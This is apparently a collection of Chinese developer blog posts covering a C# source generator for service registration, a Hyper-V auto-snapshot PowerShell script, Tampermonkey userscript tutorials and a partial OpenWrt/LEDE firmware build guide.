前言 完整项目地址: https://github.com/chr233/XinjingdailyBot 因为项目之前是使用运行时反射来完成服务的动态注册，而源生成器是在编译前完成代码生成并参与编译，完全没有运行时的性能开销 运行时反射 - 旧的方案 标记特性 首先创建一个 Attribute, 用来标注需要扫描的服务类 namespace XinjingdailyBot.Infrastructure.Attribute; /// /// 标记服务 /// 1、如果服务是本身 直接在类上使用[AppService] /// 2、如果服务是接口 在类上使用 [AppService(ServiceType = typeof(实现接口))] /// [AttributeUsage(AttributeTargets.Class, Inherited = false)] public sealed class AppServiceAttribute : System.Attribute { /// /// 服务声明周期 /// 不给默认值的话注册的是AddSingleton /// public LifeTime ServiceLifetime { get; set; } = LifeTime.Scoped; /// /// 指定服务类型 /// public Type? ServiceType { get; set; } /// /// 是否可以从第一个接口获取服务类型 /// public bool InterfaceServiceType { get; set; } /// /// 标记服务 /// /// public AppServiceAttribute(LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; } /// /// 标记服务 /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; } /// /// 标记服务 /// /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime, bool interfaceServiceType) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; InterfaceServiceType = interfaceServiceType; } } /// /// 生命周期 /// public enum LifeTime { /// /// 瞬时 /// Transient, /// /// 范围 /// Scoped, /// /// 单例 /// Singleton } 基于反射的服务扫描器 然后再主项目启动的时候使用反射扫描添加了该 Attribute 的所有 Class 并注册服务 using System.Diagnostics.CodeAnalysis; using System.Reflection; using XinjingdailyBot.Infrastructure.Attribute; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class AppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// [RequiresUnreferencedCode("不兼容剪裁")] public static void AddAppService(this IServiceCollection services) { var cls = new string[] { "XinjingdailyBot.Repository", "XinjingdailyBot.Service", "XinjingdailyBot.Command", "XinjingdailyBot.WebAPI", }; foreach (var item in cls) { var assembly = Assembly.Load(item); Register(services, assembly); } } /// /// 动态注册服务 /// /// /// [RequiresUnreferencedCode("不兼容剪裁")] private static void Register(IServiceCollection services, Assembly assembly) { string? name = assembly.GetName().Name; _logger.Debug($"===== 注册 {name} 中的服务 ====="); uint count = 0; foreach (var type in assembly.GetTypes()) { var serviceAttribute = type.GetCustomAttribute<AppServiceAttribute>(); if (serviceAttribute != null) { count++; var serviceType = serviceAttribute.ServiceType; //情况1 适用于依赖抽象编程，注意这里只获取第一个 if (serviceType == null && serviceAttribute.InterfaceServiceType) { serviceType = type.GetInterfaces().FirstOrDefault(); } //情况2 不常见特殊情况下才会指定ServiceType，写起来麻烦 if (serviceType == null) { serviceType = type; } var lifetime = serviceAttribute.ServiceLifetime; switch (lifetime) { case LifeTime.Singleton: services.AddSingleton(serviceType, type); break; case LifeTime.Scoped: services.AddScoped(serviceType, type); break; case LifeTime.Transient: services.AddTransient(serviceType, type); break; default: services.AddTransient(serviceType, type); break; } _logger.Debug($"{lifetime} - {serviceType}"); } } _logger.Debug($"===== 注册了 {count} 个服务 ====="); } } 也不是不能用，就是感觉不够完美，而且因为使用了反射的相关特性，无法简单地启用程序集裁剪和应用 AOT，所有就想到利用 .Net 5.0 新加入的源生成器特性来实现相同的功能，避免使用反射特性和降低运行时的额外开销 源生成器 - 新的方案 源生成器官方文档 因为我的项目是按照命名空间分成了几个子项目，而源生成器只能分析当前项目的语法树，如果用文件 IO 的方式读取本地 .cs 文件也是可以实现的，但是会显示警告，因为官方并不推荐在源生成器中使用文件 IO，这会降低编译速度，而且服务类也不是经常新增，每次编译都扫描一遍也是完全没必要的 综上，我的解决方案是写一个 Powershell 脚本来扫描解决方案中的所有服务，并保存到一个文件中，然后在源生成器中读取该文件来生成服务注册的代码 服务扫描脚本 首先是服务扫描脚本 scan_service.ps1 # # @Author : Chr_ # @Date : 2024-01-18 14:25:15 # @LastEditors : Chr_ # @LastEditTime : 2024-01-18 20:15:18 # @Description : 生成依赖服务信息 # # 工作目录 $workDir = (Get-Location).Path; $outputPath = Join-Path -Path (Join-Path -Path $workDir -ChildPath "XinjingdailyBot.WebAPI") -ChildPath "Properties"; # 包名列表 $libNames = "XinjingdailyBot.Model", "XinjingdailyBot.Repository", "XinjingdailyBot.Interface", "XinjingdailyBot.Service", "XinjingdailyBot.Tasks", "XinjingdailyBot.Command"; # 输出路径 $appServicePath = Join-Path -Path $outputPath -ChildPath "appService.json"; # 扫描源文件列表 function GetSourceFileList { param ( [string]$Path ) $result = @(); # 去除 bin obj 目录 $dirs = Get-ChildItem -Path $Path -Directory -Exclude "bin", "obj" # 遍历所有 .cs 文件 foreach ($dir in $dirs) { $files = Get-ChildItem -Path $dir -Filter "*.cs" -File -Recurse # 遍历子目录文件 foreach ($file in $files) { $result += $file } } $files = Get-ChildItem -Path $Path -Filter "*.cs" -File # 遍历所有 .cs 文件 foreach ($file in $files) { $result += $file } Write-Output $result $result; } # 读取命名空间 function GetNamespace { param ( [string] $Content ) if ($Content -match "namespace\s+([^;{]+)") { $Matches[1]; } } # 读取类名/接口名 function GetClassName { param ( [string] $Content ) if ($Content -match "(?:class|interface|record)\s+([^({:\s]+)") { $Matches[1]; } } # 扫描AppServiceAttribute function ScanAppServiceAttribute { param ( [string] $Content ) if ($Content -match "\[AppService(?:Attribute)?\(([^\]]+)\)\]") { $result = @{} $arguments = $Matches[1].Split(","); foreach ($argument in $arguments) { if ($argument -match "LifeTime\.(Singleton|Transient|Scoped)") { $result["LifeTime"] = $Matches[1]; } elseif ($argument -match "typeof\(([^()]+)\)") { $result["Interface"] = $Matches[1]; } elseif ($argument -match "true|false") { $result["AutoInterface"] = $Matches[1]; } else { Write-Output $argument; } } $result; } } # 类全名表 $clsNamespaces = @{}; $appServiceAttributes = @{}; foreach ($libName in $libNames) { # 库文件路径 $libPath = Join-Path -Path $workDir -ChildPath $libName; # 获取所有源文件路径 $filePaths = GetSourceFileList -Path $libPath; # 读取Service信息和类命名空间; foreach ($filePath in $filePaths) { $fileContent = Get-Content -Path $filePath.FullName -Raw; $namespace = GetNameSpace -Content $fileContent; if ($null -eq $namespace -or $namespace -eq "" ) { continue; } $clsName = GetClassName -Content $fileContent; if ($null -eq $namespace -or $namespace -eq "" ) { continue; } $clsNamespaces[$clsName] = $namespace; $appService = ScanAppServiceAttribute -Content $fileContent; if ($null -ne $appService) { $appServiceAttributes[$clsName] = $appService; } } } $services = $appServiceAttributes.Clone(); # 生成服务信息 foreach ($service in $services.Keys) { $serviceInfo = $appServiceAttributes[$service]; $namespace = $clsNamespaces[$service]; $serviceInfo["Class"] = "$namespace.$service"; $interface = $serviceInfo["Interface"]; if ($null -ne $interface) { $ns = $clsNamespaces[$interface]; $serviceInfo["Interface"] = "$ns.$interface"; } $appServiceAttributes[$service] = $serviceInfo; } Write-Output "扫描到 $($appServiceAttributes.Count) 个服务"; $appServiceAttributes | ConvertTo-Json | Out-File -FilePath $appServicePath Write-Output "文件保存至 $appServicePath" 这个脚本的功能是遍历定义的子项目文件，然后扫描所有类和接口，以及所有带有 AppServiceAttribute 特性的服务类，最后生成一个 appService.json 运行脚本生成文件以后记得修改文件生成操作，不然在分析器里这个文件是不可见的 创建源生成器 跟创建类库一样，但是需要编辑 .csproj 文件，完整文件如下 <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <TargetFramework>netstandard2.0</TargetFramework> <EnforceExtendedAnalyzerRules>true</EnforceExtendedAnalyzerRules> <IsRoslynComponent>true</IsRoslynComponent> <GetTargetPathDependsOn>$(GetTargetPathDependsOn);GetDependencyTargetPaths</GetTargetPathDependsOn> <NoWarn>CS1570;CS1587</NoWarn> </PropertyGroup> <ItemGroup> <None Include="..\.editorconfig" Link=".editorconfig" /> </ItemGroup> <ItemGroup> <PackageReference Include="Microsoft.CodeAnalysis.Analyzers"> <PrivateAssets>all</PrivateAssets> <IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets> </PackageReference> <PackageReference Include="Microsoft.CodeAnalysis.Common"> <PrivateAssets>all</PrivateAssets> </PackageReference> <PackageReference Include="Microsoft.CodeAnalysis.CSharp"> <PrivateAssets>all</PrivateAssets> </PackageReference> <PackageReference Include="Newtonsoft.Json"> <GeneratePathProperty>true</GeneratePathProperty> <PrivateAssets>all</PrivateAssets> </PackageReference> </ItemGroup> <ItemGroup> <Compile Update="Templates.Designer.cs"> <DesignTime>True</DesignTime> <AutoGen>True</AutoGen> <DependentUpon>Templates.resx</DependentUpon> </Compile> </ItemGroup> <ItemGroup> <EmbeddedResource Update="Templates.resx"> <Generator>ResXFileCodeGenerator</Generator> <LastGenOutput>Templates.Designer.cs</LastGenOutput> </EmbeddedResource> </ItemGroup> <ItemGroup> <None Include="$(OutputPath)\$(AssemblyName).dll" Pack="true" PackagePath="analyzers/dotnet/cs" Visible="false" /> </ItemGroup> <Target Name="GetDependencyTargetPaths"> <ItemGroup> <TargetPathWithTargetPlatformMoniker Include="$(PKGNewtonsoft_Json)\lib\netstandard2.0\Newtonsoft.Json.dll" IncludeRuntimeDependency="false" /> </ItemGroup> </Target> </Project> 我所做的修改如下 将目标框架改为 netstandard2.0，目前源生成器必须用该版本 添加 EnforceExtendedAnalyzerRules 和 IsRoslynComponent 项，第一个是排除别的分析器，第二个是定义该项目是 Roslyn 组件，添加了以后会有额外的调试配置 添加 GetTargetPathDependsOn 项，意思是从定义的路径中寻找依赖库 添加 Microsoft.CodeAnalysis.Analyzers 和 Microsoft.CodeAnalysis.Common 和 Microsoft.CodeAnalysis.CSharp 库，原样从微软文档拷来的，生成器必须的依赖 添加 Newtonsoft.Json 库（可选），我使用了 Newtonsoft.Json 作为 Json 反序列化库，因此还需要额外配置引用信息（因为源生成器相当于是编译期的扩展，如果不做额外处理会报找不到Dll的错），需要在下面定义 <ItemGroup> <None Include="$(OutputPath)\$(AssemblyName).dll" Pack="true" PackagePath="analyzers/dotnet/cs" Visible="false" /> </ItemGroup> <Target Name="GetDependencyTargetPaths"> <ItemGroup> <TargetPathWithTargetPlatformMoniker Include="$(PKGNewtonsoft_Json)\lib\netstandard2.0\Newtonsoft.Json.dll" IncludeRuntimeDependency="false" /> </ItemGroup> </Target> 然后再主项目中添加项目引用，并修改引用的属性，将被引用项目类型改成分析器，然后排除所有的生成资产 </ItemGroup> <ProjectReference Include="..\XinjingdailyBot.Generator\XinjingdailyBot.Generator.csproj"> <OutputItemType>Analyzer</OutputItemType> <ReferenceOutputAssembly>false</ReferenceOutputAssembly> </ProjectReference> </ItemGroup> 服务注册源生成器 代码模板存放在 Templates.resx 中，内容如图 可以根据输出的结果反推 using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.Text; using Newtonsoft.Json; using System.Text; using XinjingdailyBot.Generator.Data; namespace XinjingdailyBot.Generator; [Generator] internal sealed class AppServiceGenerator : ISourceGenerator { const string InputFileName = "appService.json"; const string OutoutFileName = "GeneratedAppServiceExtensions.g.cs"; /// <inheritdoc/> public void Initialize(GeneratorInitializationContext context) { // 无需处理 } /// <inheritdoc/> public void Execute(GeneratorExecutionContext context) { try { var fileText = context.AdditionalFiles.Where(static x => x.Path.EndsWith(InputFileName)).FirstOrDefault() ?? throw new FileNotFoundException("缺少配置文件, 请使用 scan_service.ps1 生成"); ProcessSettingsFile(fileText, context); } catch (Exception e) { context.ReportDiagnostic( Diagnostic.Create( "XJB_01", nameof(AppServiceGenerator), $"生成注入代码失败，{e.Message}", defaultSeverity: DiagnosticSeverity.Error, severity: DiagnosticSeverity.Error, isEnabledByDefault: true, warningLevel: 0)); } } /// /// 生成文件 /// /// /// private void ProcessSettingsFile(AdditionalText xmlFile, GeneratorExecutionContext context) { var text = xmlFile.GetText(context.CancellationToken)?.ToString() ?? throw new FileLoadException("文件读取失败"); var json = JsonConvert.DeserializeObject<AppServiceData>(text) ?? throw new FileLoadException("文件读取失败"); var sb = new StringBuilder(); sb.AppendLine(Templates.AppServiceHeader); foreach (var kv in json) { var entry = kv.Value; var lifeTime = entry.LifeTime?.ToLowerInvariant() switch { "singleton" or "scoped" or "transient" => entry.LifeTime, _ => null, }; if (string.IsNullOrEmpty(lifeTime)) { continue; } if (!string.IsNullOrEmpty(entry.Class)) { if (string.IsNullOrEmpty(entry.Interface)) { sb.AppendLine(string.Format(Templates.AppServiceContent1, lifeTime, entry.Class)); } else { sb.AppendLine(string.Format(Templates.AppServiceContent2, lifeTime, entry.Interface, entry.Class)); } } } sb.AppendLine(Templates.AppServiceFooter); context.AddSource(OutoutFileName, SourceText.From(sb.ToString(), Encoding.UTF8)); } } 生成的代码示例，为避免使用 using，这里使用完整类名引用 using Microsoft.Extensions.DependencyInjection; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class GeneratedAppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// public static void AddAppServiceGenerated(this IServiceCollection services) { services.AddTransient<XinjingdailyBot.Repository.OldPostRepository>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Common.IDispatcherService, XinjingdailyBot.Service.Bot.Common.DispatcherService>(); services.AddSingleton<XinjingdailyBot.Repository.TagRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Common.IChannelService, XinjingdailyBot.Service.Bot.Common.ChannelService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAttachmentService, XinjingdailyBot.Service.Data.AttachmentService>(); services.AddScoped<XinjingdailyBot.Command.ReviewCommand>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Handler.IJoinRequestHandler, XinjingdailyBot.Service.Bot.Handler.JoinRequestHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.IBanRecordService, XinjingdailyBot.Service.Data.BanRecordService>(); services.AddSingleton<XinjingdailyBot.Repository.RejectReasonRepository>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Common.IUpdateService, XinjingdailyBot.Service.Bot.Common.UpdateService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IForwardMessageHandler, XinjingdailyBot.Service.Bot.Handler.ForwardMessageHandler>(); services.AddScoped<XinjingdailyBot.Command.CommonCommand>(); services.AddSingleton<XinjingdailyBot.Repository.LevelRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.ICommandHandler, XinjingdailyBot.Service.Bot.Handler.CommandHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.IDialogueService, XinjingdailyBot.Service.Data.DialogueService>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IPostService, XinjingdailyBot.Service.Data.PostService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IChannelOptionService, XinjingdailyBot.Service.Data.ChannelOptionService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IChannelPostHandler, XinjingdailyBot.Service.Bot.Handler.ChannelPostHandler>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IUserService, XinjingdailyBot.Service.Data.UserService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IImageHelperService, XinjingdailyBot.Service.Helper.ImageHelperService>(); services.AddSingleton<XinjingdailyBot.Interface.Data.INameHistoryService, XinjingdailyBot.Service.Data.NameHistoryService>(); services.AddScoped<XinjingdailyBot.Command.NormalCommand>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IMediaGroupService, XinjingdailyBot.Service.Data.MediaGroupService>(); services.AddScoped<XinjingdailyBot.Command.ObsoleteCommand>(); services.AddScoped<XinjingdailyBot.Command.PostCommand>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAdvertisePostService, XinjingdailyBot.Service.Data.AdvertisePostsService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAdvertiseService, XinjingdailyBot.Service.Data.AdvertiseService>(); services.AddSingleton<XinjingdailyBot.Repository.GroupRepository>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IHttpHelperService, XinjingdailyBot.Service.Helper.HttpHelperService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.ITextHelperService, XinjingdailyBot.Service.Helper.TextHelperService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IMessageHandler, XinjingdailyBot.Service.Bot.Handler.MessageHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.ICmdRecordService, XinjingdailyBot.Service.Data.CmdRecordService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IInlineQueryHandler, XinjingdailyBot.Service.Bot.Handler.InlineQueryHandler>(); services.AddTransient<XinjingdailyBot.Repository.PostRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IUserTokenService, XinjingdailyBot.Service.Data.UserTokenService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IMarkupHelperService, XinjingdailyBot.Service.Helper.MarkupHelperService>(); services.AddScoped<XinjingdailyBot.Command.AdminCommand>(); services.AddScoped<XinjingdailyBot.Command.SuperCommand>(); services.AddTransient<XinjingdailyBot.Interface.Data.IReviewStatusService, XinjingdailyBot.Service.Data.ReviewStatusService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IGroupMessageHandler, XinjingdailyBot.Service.Bot.Handler.GroupMessageHandler>(); } } 调试源生成器 首先删除源生成器项目的所有调试目标，然后新增 Roslyn Component 目标，并在右边将 Target Project 设为主项目，然后将启动项目改为生成器 然后在生成器的 Initialize 方法中开启调试器 public void Initialize(GeneratorInitializationContext context) { // 无需处理 if (!Debugger.IsAttached) { Debugger.Launch(); } } 这样就可以动态调试生成器代码了 实际使用 将启动项目改为主功能，去掉源生成器的调试代码，然后重新生成一遍解决方案，如果一切正常，将会在分析器中看到生成的代码文件 如果后续有新的服务，重新执行 scan_service.ps1 即可更新配置文件
前言 最近拿闲置电脑装了个Win11作为NAS使用，感觉Windows NAS也没有那么不堪用了，顺便使用Windows自带的Hyper-V作为虚拟机平台使用，对比Proxmox和ESXi，能用，但又不是很好用，甚至没有自动化创建快照的功能，好在PowerShell提供了接口，就写个脚本完成定时创建快照 脚本正文 $isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) # 如果不是管理员，以管理员身份重新运行脚本 if (-not $isAdmin) { Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs Exit } # 此处放置你的脚本的其余部分 Write-Output "脚本以管理员身份运行" # 保留的最大快照数量 $maxSnapshots = 14 # 获取所有虚拟机的名称 $vms = Get-VM foreach ($vm in $vms) { Write-Output "为虚拟机 $($vm.Name) 创建定时快照" $datetime = Get-Date -Format 'yyyy-MM-dd tt hh:mm:ss' # 创建快照 Checkpoint-VM -VM $vm -SnapshotName "定时快照 ($datetime)" # 获取所有快照 $snapshots = Get-VMSnapshot -VM $vm | Where-Object { $_.Name -like '定时快照*' } Write-Output "共有 $($snapshots.Count) 个定时快照" # 如果快照数量超过限制，则删除较旧的快照 if ($snapshots.Count -gt $maxSnapshots) { $snapshotsToDelete = $snapshots | Sort-Object CreationTime | Select-Object -First ($snapshots.Count - $maxSnapshots) foreach ($snapshot in $snapshotsToDelete) { Write-Output "删除快照 $($snapshot.Name)" Remove-VMSnapshot -VM $vm -Name $snapshot.Name } } } 记得用 UTF8-with-BOM 编码保存，否则脚本中的中文会乱码 添加定时任务 如果没有设置过脚本执行策略的话Windows默认禁止执行脚本，用命令改成允许本地脚本执行，远程脚本需要签名才能执行 Set-ExecutionPolicy RemoteSigned 然后在任务计划程序(taskschd.msc)中添加新的任务 操作Hyper-V需要提权，一定要勾选使用最高权限运行 触发器就是什么时间执行任务，按需设置，我这里设的是一天备份两次 操作就是执行的动作，添加一条启动程序的操作，程序或脚本填powershell -File 脚本文件路径 保存需要输入当前的账户密码，然后在右侧菜单手动执行一下任务 如果一切正常就可以在Hyper-V管理器中看见脚本创建的快照了
前言 按照 C/S 的架构重新设计了一个类似 SteamDesktopAuthenticator 的小工具，没有做交易查看功能，方便给代练分享令牌和账号信息，可以给每个用户设置可以看见的令牌 支持私有化部署 简介 获取方式 爱发电已上架： https://afdian.net/item/360b43a60f4911ee80e352540025c377
【油猴脚本教程】P2 初识油猴脚本 & 油猴脚本的基本构成
P2 初识油猴脚本 教程索引 视频链接 光讲JS感觉不是特别直观，用两个不涉及网络请求的脚本进行讲解 第一个脚本 - Remove Live.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/Bilibili/Remove_Live.js 脚本功能： 提供一个开关，用于移除直播播放器，并且带有记忆功能 源码： // ==UserScript== // @name Remove_Live // @name:zh-CN 去除B站直播间播放器 // @namespace https://blog.chrxw.com // @version 1.1 // @description 去除B站多余的直播播放器（滑稽） // @author Chr_ // @include https://live.bilibili.com/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // ==/UserScript== (() => { "use strict"; //去除播放器的开关 let VEnable = localStorage.getItem("VEnable") === "true"; if (VEnable) { setTimeout(() => { document.getElementById("live-player").remove(); }, 3000); } let btnArea = document.querySelector(".right-ctnr"); let btn = document.createElement("button"); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; btn.addEventListener("click", () => { VEnable = !VEnable; localStorage.setItem("VEnable", VEnable); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; if (VEnable) { document.getElementById("live-player").remove(); } else { location.reload(); } }); btnArea.insertBefore(btn, btnArea.children[0]); })(); 第二个脚本 - SteamDB CN.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/SteamDB/SteamDB_CN.js 脚本功能： 汉化SteamDB 源码： // ==UserScript== // @name:zh-CN SteamDB汉化 // @name SteamDB_CN // @namespace https://blog.chrxw.com // @supportURL https://blog.chrxw.com/scripts.html // @contributionURL https://afdian.net/@chr233 // @version 1.32 // @description SteamDB汉化插件 // @description:zh-cn SteamDB汉化插件 // @author Chr_ // @match https://steamdb.info/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // @resource data https://cf.chrxw.com/SteamDB/SteamDB_CN.json // @grant GM_addStyle // @grant GM_getResourceText // @grant GM_registerMenuCommand // ==/UserScript== (() => { "use strict"; //是否打开调试模式（使用自定义汉化规则而不是在线规则） const DEBUG = localStorage["dbg_mode"] == "开"; //是否在控制台输出未汉化文本 const OUTPUT = localStorage["out_word"] == "开"; GM_registerMenuCommand(`调试汉化文本: 【${DEBUG ? "开" : "关"}】`, () => { window.localStorage["dbg_mode"] = DEBUG ? "关" : "开"; window.location.reload(); }); GM_registerMenuCommand(`在控制台输出未匹配文本: 【${OUTPUT ? "开" : "关"}】`, () => { window.localStorage["out_word"] = OUTPUT ? "关" : "开"; window.location.reload(); }); document.querySelector("html").setAttribute("lang", "zh-CN"); let Locales; if (DEBUG) { const template = `{"DOC":{"更新时间":"调试模式","贡献名单":["调试模式"]},\n"STATIC":\n{\n\n},\n"INPUT":\n{\n\n},\n"LABEL":\n{\n\n},\n"DYNAMIC":\n{\n\n}\n}`; const box = document.createElement("div"); box.className = "sdc"; const text = document.createElement("textarea"); box.appendChild(text); const action = document.createElement("div"); action.className = "sdc-links"; box.appendChild(action); const btnSave = document.createElement("a"); btnSave.innerText = "💾 保存并应用"; btnSave.addEventListener("click", () => { const raw = text.value.trim(); if (!raw) { alert("翻译文本不能为空!!!"); } else { try { JSON.parse(raw); window.localStorage["sdb_lang"] = raw; window.location.reload(); } catch (e) { alert("翻译文本不是有效的JSON格式!!!"); } } }); action.appendChild(btnSave); const btnReset = document.createElement("a"); btnReset.textContent = "🗑️ 清空文本"; btnReset.addEventListener("click", () => { window.localStorage["sdb_lang"] = template; window.location.reload(); }); action.appendChild(btnReset); const btnOnline = document.createElement("a"); btnOnline.textContent = "📄 当前在线文本"; btnOnline.addEventListener("click", () => { if (confirm("替换为在线版本后当前所做修改将会丢失, 确定要继续吗?")) { text.value = GM_getResourceText("data"); } }); action.appendChild(btnOnline); const about = document.createElement('a'); about.href = "https://blog.chrxw.com" about.innerText = "🔗 By Chr_ © 2022"; action.appendChild(about); const father = document.getElementById("main"); father.insertBefore(box, father.firstChild); const customLang = window.localStorage["sdb_lang"] ?? template; text.value = customLang; Locales = JSON.parse(customLang); } else { Locales = JSON.parse(GM_getResourceText("data")); } //计时 const Start = new Date().getTime(); {//静态元素 for (const [css, dic] of Object.entries(Locales.STATIC)) { if (OUTPUT) { console.log(`〖${css}〗`); } const elements = document.querySelectorAll(css); if (elements.length > 0) { for (let i = 0; i < elements.length; i++) { const element = elements[i]; if (element.childElementCount === 0) {//节点内部无其他元素 const raw = element.innerText?.trim(); if (!raw || raw.length <= 2) { continue; } const txt = dic[raw]; if (txt) { element.innerText = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } else {//节点内部有其他元素 const nodes = element.childNodes; for (let j = 0; j < nodes.length; j++) { const node = nodes[j]; if (node.nodeType === Node.TEXT_NODE) { const raw = node.textContent?.trim(); if (!raw || raw.length <= 2) { continue; } const txt = dic[raw]; if (txt) { node.textContent = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } } } } else { if (OUTPUT) { console.warn(`CSS选择器未匹配到任何元素: ${css}`); } } } } {//输入框 const inputs = Locales.INPUT; if (OUTPUT) { console.log("〖输入框〗"); } const elements = document.querySelectorAll("input"); for (let i = 0; i < elements.length; i++) { const element = elements[i]; const raw = element.placeholder; if (!raw) { continue; } const txt = inputs[raw]; if (txt) { element.placeholder = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } {//悬浮提示 const labels = Locales.LABEL; if (OUTPUT) { console.log("〖提示文本〗"); } const elements = document.querySelectorAll("*[aria-label]"); for (let i = 0; i < elements.length; i++) { const element = elements[i]; const raw = element.getAttribute("aria-label"); if (!raw) { continue; } const txt = labels[raw]; if (txt) { element.setAttribute("aria-label", txt); } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } const { script: { version } } = GM_info; //const version = GM_info.script.version; const { DOC: { "更新时间": update, "贡献名单": contribution } } = Locales; const End = new Date().getTime(); // 统计耗时 console.log("执行耗时", `${End - Start} ms`); console.log("================================="); console.log(`插件版本: ${version}`); console.log(`更新时间: ${update}`); console.log(`贡献名单: ${contribution.join(", ")}`); console.log("================================="); console.log("迷茫同学:\n『没有恶意 请问直接用谷歌翻译整个网页不香吗』") // 添加按钮 const headerUl=document.querySelector(".header-menu-container>div>ul:nth-child(1)"); const footerUl=document.querySelector(".footer-container>div>ul:nth-child(1)"); const scriptLink = document.createElement("li"); scriptLink.innerHTML = `SteamDB 汉化 V${version}`; headerUl.appendChild(scriptLink); footerUl.appendChild(scriptLink.cloneNode(true)); // 添加样式 GM_addStyle(` .tabnav-tabs > a { min-width: 80px; } .sdc { display: flex; } .sdc > textarea { width: 100%; height: 200px; min-height: 200px; resize: vertical; } .sdc > div.sdc-links { width: 150px; margin: 5px; } .sdc > div.sdc-links > a { width: 100%; margin-bottom: 10px; background-color: #213145; color: white; font-size: 12px; border-radius: 0px; display: inline-block; height: 30px; } .sdc > div.sdc-links > a:last-child { width: 100%; margin-top: 30px; margin-bottom: 0px; color: #67c1f5; background-color: #273b4b; } `); })(); 油猴脚本基本构成 元信息 记录脚本的额外信息，供油猴插件以及 GreasyFork 使用 // ==UserScript== // @name:zh-CN 脚本名称(可选，可以使用语言代码来支持多语言) // @name 脚本名称 // @namespace 命名空间 // @version 脚本版本 // @description 脚本描述 // @description:zh-cn 脚本描述(可选，可以使用语言代码来支持多语言) // @author 作者 // @include 脚本生效域名 // @match 脚本生效域名 // @license 共享协议 // @icon 脚本图标(可选) // @resource 外部资源链接，以及访问名称(可选) // @grant 申请额外权限(可选) // ==/UserScript== 脚本正文 略
前言 本教程基于 LEDE 项目 首先需要安装Linux虚拟机或者使用WSL虚拟环境，这里使用后者 正文 准备工作 首先自然是配置依赖环境 sudo apt -y update sudo apt -y install build-essential asciidoc binutils bzip2 gawk gettext git libncurses5-dev libz-dev patch python3 python2.7 unzip zlib1g-dev lib32gcc1 libc6-dev-i386 subversion flex uglifyjs git-core gcc-multilib p7zip p7zip-full msmtp libssl-dev texinfo libglib2.0-dev xmlto qemu-utils upx libelf-dev autoconf automake libtool autopoint device-tree-compiler g++-multilib antlr3 gperf wget curl swig rsync 因为要对LEDE固件做一些修改，所以我们需要去Folk一份源码 然后把刚刚Folk的仓库clone到本地 x> 请不要下载Zip存档，这样操作会丢失git配置，导致后续操作无法继续 # PS: 这里换成自己的仓库的地址 git clone https://github.com/chr233/lede !> 请确保处于大小写敏感的文件系统下，否则无法使用配置工具（NTFS和FAT都不行, EXT4可以） 然后使用命令就可以进入配置菜单了 make menuconfig 编译配置菜单说明（部分） Target System (Broadcom BCM27xx) #选择处理器架构 Subtarget (BCM2711 boards (64 bit)) #选择处理器 Target Profile (Raspberry Pi 4B/400/4CM (64bit)) #预制配置文件 Target Images #固件映像设置 ramdisk # 内存盘, 硬件内存充裕的话可以打开，有效提升性能 Compression # 压缩等级(none表示不压缩) Root filesystem archives #根文件系统存档类型 cpio.gz tar.gz Root filesystem images #根文件系统格式 ext4 #适用于大容量闪存,易于修改分区大小,没有恢复出厂设置的功能 squashfs #适用于小容量闪存，不可修改分区大小，有恢复出厂设置的功能 Gzip images #Gzip存档 Image Options Kernel partition size #内核分区大小，建议64M到256M，足够了 Root filesystem partition size #跟文件系统分区大小，根据闪存大小自行设定 Make /var persistent #持久化/var(开启后重启软路由/var下内容会保留) 以下设置一般无需修改 Enable experimental features by default #默认启用实验性功能 Global build settings #全局编译设置 Advanced configuration options (for developers) #高级选项(仅供开发者) Build the 